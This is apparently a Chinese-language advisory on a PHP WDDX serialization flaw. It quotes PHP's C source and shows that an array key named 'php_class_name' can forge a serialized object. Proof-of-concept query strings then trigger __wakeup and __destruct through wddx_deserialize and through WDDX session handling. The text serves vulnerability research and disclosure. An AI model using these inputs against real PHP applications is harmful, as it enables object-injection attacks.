PHP 在把數組序列化為 WDDX 結構的過程中,沒有對數組的鍵名嚴格限制,導致可以偽造對象的 WDDX 結構。
PHP 在把對象序列化為 WDDX 結構時,會做如下處理:
#!cpp
static void php_wddx_serialize_object(wddx_packet *packet, zval *obj)
...
php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR);
php_wddx_add_chunk(packet, tmp_buf);
php_wddx_add_chunk_static(packet, WDDX_STRING_S);
php_wddx_add_chunk_ex(packet, class_name->val, class_name->len);
php_wddx_add_chunk_static(packet, WDDX_STRING_E);
php_wddx_add_chunk_static(packet, WDDX_VAR_E);
}
比如下面代碼中的變量 $obj:
#!php
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi, "\n";
}
}
$obj = new ryat();
$obj->hi = 'ryat';
var_dump(wddx_serialize_value($obj));
經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
PHP 把數組序列化為 WDDX 結構時,會做如下處理:
#!cpp
static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
{
...
target_hash = HASH_OF(arr);
ZEND_HASH_FOREACH_KEY(target_hash, idx, key) {
if (key) {
is_struct = 1;
break;
}
if (idx != ind) {
is_struct = 1;
break;
}
ind++;
} ZEND_HASH_FOREACH_END();
if (is_struct) {
php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
} else {
snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash));
php_wddx_add_chunk(packet, tmp_buf);
}
ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) {
if (ent == arr) {
continue;
}
if (is_struct) {
if (key) {
php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
} else {
key = zend_long_to_str(idx);
php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
zend_string_release(key);
}
} else {
php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC);
}
} ZEND_HASH_FOREACH_END();
if (is_struct) {
php_wddx_add_chunk_static(packet, WDDX_STRUCT_E);
} else {
php_wddx_add_chunk_static(packet, WDDX_ARRAY_E);
}
}
...
void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC)
{
...
if (name) {
char *tmp_buf;
zend_string *name_esc;
name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC);
tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S));
snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val);
php_wddx_add_chunk(packet, tmp_buf);
efree(tmp_buf);
zend_string_release(name_esc);
}
從上面的代碼可以看到,數組序列化后的 WDDX 結構主要分為兩種,一種是沒有指定鍵名的數組的處理,比如下面代碼中的變量 $arr:
#!php
$arr = array('hi', 'ryat');
var_dump(wddx_serialize_value($arr));
經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><array length='2'><string>hi</string><string>ryat</string></array></data></wddxPacket>
另一種則是對指定鍵名的數組的處理,比如下面代碼中的變量 $arr:
#!php
$arr = array('hi'=>'hi', 'ryat'=>'ryat');
var_dump(wddx_serialize_value($arr));
經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><struct><var name='hi'><string>hi</string></var><var name='ryat'><string>ryat</string></var></struct></data></wddxPacket>
通過上面的分析,簡單了解 WDDX 結構存儲 PHP 數組和對象的具體格式,對象的存儲格式和指定鍵名的數組的存儲格式非常接近,區別只在于,對象的存儲格式多了對類名的存儲:
<var name='php_class_name'><string>ryat</string></var>
PHP 在把數組序列化 WDDX 結構過程中,僅僅調用了 php_escape_html_entities() 函數處理,然后直接構造 WDDX_VAR_S:
#define WDDX_VAR_S "<var name='%s'>"
那么如果數組中存在一個值為 php_class_name 的鍵名,就可以構造出:
<var name='php_class_name'><string>ryat</string></var>
這時序列化的 WDDX 結構就和對象的一樣了,如下面代碼中的變量 $arr:
#!php
$arr = array('php_class_name'=>'ryat', 'hi'=>'ryat');
var_dump(wddx_serialize_value($arr));
經過 wddx_serialize_value() 函數序列化的 WDDX 結構如下:
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
可以看到,序列化的 WDDX 結構和第一個例子中的 $obj 對象序列化的 WDDX 結構是一樣的,也就說,通過一個特殊的數組偽造了一個對象的 WDDX 結構:)
PHP 反序列化 WDDX 結構的處理過程類似于 unserialize() 函數,通過對特定的 WDDX 結構反序列化,可以生成一個對象,并執行類的 __wakeup() 方法(如果存在的話),在對象被銷毀或者腳本執行結束時會執行類的 __destruct() 方法(如果存在的話),那么安全隱患隨之而來。而比 unserialize() 函數更危險的是,反序列化過程和序列化過程都可能存在安全問題:)
#!php
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi, "\n";
}
}
wddx_deserialize(wddx_serialize_value($_GET['arr']);
通過下面的方式,可以成功執行 __wakeup() 方法和 __destruct() 方法:)
?arr[php_class_name]=ryat&arr[hi]=ryat
PHP 在存儲和讀取 $_SESSION 時會對數據進行序列化和反序列化,默認情況下與 serialize() 函數和 unserialize() 函數的處理方式相同,但是 PHP 提供了一個 session.serialize_handler 配置選項,可以使用 WDDX 格式進行序列化和反序列化:)
#!php
ini_set('session.serialize_handler', 'wddx');
session_start();
$_SESSION['arr'] = $_GET['arr'];
通過下面的方式,就可以偽造成對象的 WDDX 結構:)
?arr[php_class_name]=ryat&arr[hi]=ryat
from:http://www.80vul.com/pch/pch-014.txt